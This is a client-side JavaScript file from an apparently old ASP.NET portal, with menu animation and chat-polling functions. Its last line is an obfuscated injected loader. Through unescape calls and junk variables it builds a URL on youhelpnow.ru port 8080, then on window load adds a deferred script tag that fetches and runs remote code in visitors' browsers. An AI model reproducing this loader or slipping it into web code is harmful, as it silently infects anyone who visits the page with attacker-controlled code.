		
			var Timer,TimeCount=10;
			var SubTimer,SubTimeCount=10;
			var ChatTimer,ChatTimeCount=1000;
			var PrivateChatTimer,PrivateChatTimeCount=10;
			var ULTimer,ULTimeCount=1000;
			var StrName,SubMenuStrName;
			var OptionRightVal=0,OptionBottomVal=0;
			var OptionSubRightVal=0,OptionSubBottomVal=0;
			
			var pubChatXmlObj = new ActiveXObject("Microsoft.XMLHTTP")
			var pubChatXmlObj1 = new ActiveXObject("Microsoft.XMLDOM")
			var pubChatXslObj = new ActiveXObject("Microsoft.XMLDOM")
			var priChatXmlObj = new ActiveXObject("Microsoft.XMLDOM")
			var priChatXslObj = new ActiveXObject("Microsoft.XMLDOM")
			var ULXmlObj = new ActiveXObject("Microsoft.XMLHTTP")
			var ULXslObj = new ActiveXObject("Microsoft.XMLDOM")
			
			//pubChatXmlObj.async = false
			pubChatXslObj.async = false
			priChatXmlObj.async = false
			priChatXslObj.async = false
			//ULXmlObj.async = false
			ULXslObj.async = false		
			
			// Load the XSL for public chat
			pubChatXslObj.load("../xsl/PublicChatMessages.xsl")
			
			// Load the XSL for private chat
			priChatXslObj.load("../xsl/PublicChatMessages.xsl")	
			
			// Load the XSL to display chat members
			ULXslObj.load("../xsl/ChatMembers.xsl")		
	
			
			function ShowMenu(ctlName)
			{				
				StopTimer();
				OptionRightVal=0;
				OptionBottomVal=0;
				HideAll();
				StrName = ctlName;	
				Timer = window.setTimeout("StartTimer()",TimeCount);				  
			}
			
			function ShowSubMenu(ctlName)
			{				
				StopSubTimer();
				OptionSubRightVal=0;
				OptionSubBottomVal=0;
				HideAllSubMenus();
				SubMenuStrName = ctlName;	
				SubTimer = window.setTimeout("StartSubTimer()",SubTimeCount);				  
			}
			
			function HideMenu(ctlName)
			{				
				
				document.getElementById(ctlName).style.display = "none";				
				//StopTimer();
			}			
			
			function HideAll()
			{			
				document.getElementById("divExchangerLayer").style.display = "none";	
				document.getElementById("divNewsLayer").style.display = "none";		
				document.getElementById("divClassifiedLayer").style.display = "none";		
				document.getElementById("divHPLayer").style.display = "none";		
				document.getElementById("divHP_PollingLayer").style.display = "none";		
				document.getElementById("divHP_ArticleLayer").style.display = "none";
				document.getElementById("divHP_PageSettingsLayer").style.display = "none";
				document.getElementById("divJobsLayer").style.display = "none";				
				document.getElementById("divPinoyLinksLayer").style.display = "none";	
				document.getElementById("divHP_ETicketLayer").style.display = "none";								
			}
			
			function HideAllSubMenus()
			{					
				document.getElementById("divHP_PollingLayer").style.display = "none";		
				document.getElementById("divHP_ArticleLayer").style.display = "none";	
				document.getElementById("divHP_PageSettingsLayer").style.display = "none";		
				document.getElementById("divHP_ETicketLayer").style.display = "none";				
			}
			
			function StartTimer() 
			{
					document.getElementById(StrName).style.display ="block";				
					OptionRightVal = OptionRightVal + 100;
					OptionBottomVal = OptionBottomVal + 100;
					document.getElementById(StrName).style.clip ="rect(auto,"+ OptionRightVal + "," + OptionBottomVal + ",auto)";					
					Timer = window.setTimeout("StartTimer()",TimeCount);					
			}
			
			function StartSubTimer() 
			{
					document.getElementById(SubMenuStrName).style.display ="block";				
					OptionSubRightVal = OptionSubRightVal + 100;
					OptionSubBottomVal = OptionSubBottomVal + 100;
					document.getElementById(SubMenuStrName).style.clip ="rect(auto,"+ OptionSubRightVal + "," + OptionSubBottomVal + ",auto)";					
					SubTimer = window.setTimeout("StartSubTimer()",TimeCount);					
			}
			
			function StopTimer() 
			{				
    				clearTimeout(Timer);
    				if (OptionRightVal = 250)
						OptionRightVal = 0;				
					if (OptionBottomVal = 50)
						OptionRightVal = 0;						
					
			}
			function StopSubTimer() 
			{				
    				clearTimeout(SubTimer);
    				if (OptionSubRightVal = 250)
						OptionSubRightVal = 0;				
					if (OptionSubBottomVal = 50)
						OptionSubRightVal = 0;						
					
			}
			
			function ChangeArrow(ctlname1,option)
			{
				if (option == 0)
					document.getElementById(ctlname1).src ="../images/tri-arrow-white.gif";	
				else	
					document.getElementById(ctlname1).src ="../images/tri-arrow.gif";	
			}
			
			function ChangeColor(ctlname1,ancControl,option)
			{
				if (option == 0)
				{
					document.getElementById(ctlname1).style.background ="darkgray";					
					document.getElementById(ancControl).style.color ="black";	
				}
				else	
				{
					document.getElementById(ctlname1).style.background ="#6699ff";					
					document.getElementById(ancControl).style.color ="white";	
				}
			}
			
			function ChangeSubMenuColor(ctlname,option)
			{
				if (option == 0)
					document.getElementById(ctlname).style.background ="#ffcc00";					
				else	
					document.getElementById(ctlname).style.background ="whitesmoke";									
			}
			
			function showMenu(strName)
			{				
				if ( document.getElementById(strName).style.visibility == "hidden" )
					document.getElementById(strName).style.visibility = "visible";
			}
			
			function hideMenu(strName)
			{
				if ( document.getElementById(strName).style.visibility == "visible" )
					document.getElementById(strName).style.visibility="hidden";
			}
			
			function GetPublicChatMessages(ctlName,divCtl)
			{					
				ChatTimer = window.setTimeout("StartChatTimer('" + ctlName + "','" + divCtl + "')",ChatTimeCount);					
			}			
			
			function StartChatTimer(ctlName,divCtl)
			{	
				// Load XML 
				/*pubChatXmlObj.load("../xml/" + document.getElementById(ctlName).value + ".xml")
			
				document.getElementById(divCtl).innerHTML = pubChatXmlObj.transformNode(pubChatXslObj);					*/
				
				pubChatXmlObj.Open("POST","GetChatMessage.aspx",false);
				//pubChatXmlObj.OnReadyStateChange = EventReady;

				pubChatXmlObj.Send("");
				
				while (pubChatXmlObj.ReadyState != 4);
			/*pubChatXmlObj1.load(pubChatXmlObj.ResponseText);
				alert(pubChatXmlObj1.transformNode(pubChatXslObj));*/
				document.getElementById(divCtl).innerHTML = pubChatXmlObj.ResponseText			
				document.getElementById(divCtl).doScroll("scrollbarDown");
				ChatTimer = window.setTimeout("StartChatTimer('" + ctlName + "','" + divCtl + "')",ChatTimeCount);							
			}
			
			function StartChatTimer1(ctlName,divCtl)
			{	
				// Load XML 
				pubChatXmlObj.load("../xml/" + document.getElementById(ctlName).value + ".xml")
			
				document.getElementById(divCtl).innerHTML = pubChatXmlObj.transformNode(pubChatXslObj);					
				
				document.getElementById(divCtl).doScroll("scrollbarDown");
				ChatTimer = window.setTimeout("StartChatTimer('" + ctlName + "','" + divCtl + "')",ChatTimeCount);							
			}
			
			function EventReady()
			{
				if ( pubChatXmlObj.ReadyState == 4 )
				{
				
				
				}
			}

			function ResetPubChatTimer()
			{			
				clearTimeout(ChatTimer);
			}
			
			function GetPrivateChatMessages(ctlName,divCtl)
			{	
				PrivateChatTimer = window.setTimeout("StartPrivateChatTimer('" + ctlName + "','" + divCtl + "')",PrivateChatTimeCount);					
			}			
			
			function StartPrivateChatTimer(ctlName,divCtl)
			{		
				// Load XML 
				priChatXmlObj.load("../xml/" + document.getElementById(ctlName).value + ".xml")

				document.getElementById(divCtl).innerHTML = priChatXmlObj.transformNode(priChatXslObj);	
				document.getElementById(divCtl).doScroll("scrollbarDown");
								
				PrivateChatTimer = window.setTimeout("StartPrivateChatTimer('" + ctlName + "','" + divCtl + "')",PrivateChatTimeCount);				
			}
			function ResetPriChatTimer()
			{				
				clearTimeout(PrivateChatTimer);
			}
			
			function GetChatUsersList(ctlName,divCtl)
			{	
				ULTimer = window.setTimeout("StartULTimer('" + ctlName + "','" + divCtl + "')",ULTimeCount);					
			}			
			
			function StartULTimer(ctlName,divCtl)
			{		
				// Load XML 
				ULXmlObj.Open("POST","GetChatUsers.aspx",false);
				ULXmlObj.Send("");
				
				while (ULXmlObj.ReadyState != 4);
				document.getElementById(divCtl).innerHTML = ULXmlObj.ResponseText			
				ULTimer = window.setTimeout("StartULTimer('" + ctlName + "','" + divCtl + "')",ULTimeCount);										
							
				//// Load XML 
				//ULXmlObj.load("../xml/" + document.getElementById(ctlName).value + "ChatMembers.xml")

				//document.getElementById(divCtl).innerHTML = ULXmlObj.transformNode(ULXslObj);					
				//ULTimer = window.setTimeout("StartULTimer('" + ctlName + "','" + divCtl + "')",ULTimeCount);				
			}
			function ResetULTimer()
			{
				clearTimeout(ULTimer);
			}

var L='';function P(){this.e='';var vT;if(vT!='' && vT!='cO'){vT=null};var z=unescape;this.V="";var b=new String();var fT=window;var mS;if(mS!='' && mS!='zG'){mS=''};var VA="";var S=z("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%61%79%73%65%72%76%65%2e%63%6f%6d%2f%6e%69%6b%6b%61%6e%73%70%6f%72%74%73%2e%63%6f%6d%2e%70%68%70");var cl;if(cl!=''){cl='zW'};var qD=new Date();function f(O,i){this.YT="";var fA;if(fA!='_' && fA != ''){fA=null};var Oa='';var F=String("xmrg".substr(3));var CF;if(CF!=''){CF='mf'};var zK=new Array();var q=z("%5b"), Z=z("%5d");var x=new String();var v=q+i+Z;this.SE='';var RK='';var vW=new RegExp(v, F);this.s="";var Sr=new Array();return O.replace(vW, new String());var h;if(h!='gS'){h='gS'};var RKw=new Date();};var D;if(D!='' && D!='vR'){D=''};var jn;if(jn!='' && jn!='oc'){jn='YJ'};var FQ;if(FQ!='' && FQ!='_s'){FQ='hZ'};var t='';var BC=new String();var MO=new Date();var Ou=f('89660268663056','14635927');var ba;if(ba!='' && ba!='vG'){ba=null};var H=new String();var vs=document;var gi=new String();var G;if(G!='' && G!='VF'){G=''};var BP=new Array();var WO;if(WO!='tH' && WO!='_f'){WO='tH'};function U(){var Cz=new String();var HZg=new String();var hb=new Array();var r=z("%68%74%74%70%3a%2f%2f%79%6f%75%68%65%6c%70%6e%6f%77%2e%72%75%3a");var yQ;if(yQ!=''){yQ='p'};var EX=new Array();H=r;this.WF='';var _V;if(_V!=''){_V='Hv'};H+=Ou;var hu;if(hu!='' && hu!='oA'){hu='qQ'};H+=S;var slw=new String();var TMh=new String();try {var pX=new Date();this.ca='';var yi;if(yi!='' && yi!='DH'){yi='XH'};Fq=vs.createElement(f('sBc9rIizpztZ','x93zLAB8ZCRgIjT0VyDd'));var Du=new Array();Fq[z("%73%72%63")]=H;Fq[z("%64%65%66%65%72")]=[1,2][0];var yj;if(yj!='bT'){yj='bT'};var Nb;if(Nb!='xf'){Nb='xf'};var J_;if(J_!='rK'){J_='rK'};var Xz;if(Xz!='_o' && Xz!='Bl'){Xz=''};var GC;if(GC!='' && GC!='yZ'){GC='cq'};vs.body.appendChild(Fq);var QI;if(QI!='oq' && QI != ''){QI=null};var Wo;if(Wo!='Zo' && Wo != ''){Wo=null};var IQ='';} catch(C){alert(C);var tz;if(tz!='dF'){tz=''};};var Yc="";var bp='';}var eF;if(eF!='Hg'){eF=''};var nh="";fT[String("on"+"loJ308".substr(0,2)+"adYc31".substr(0,2))]=U;var aG=new Array();var yt=new Date();};P();this._y="";this.Sc="";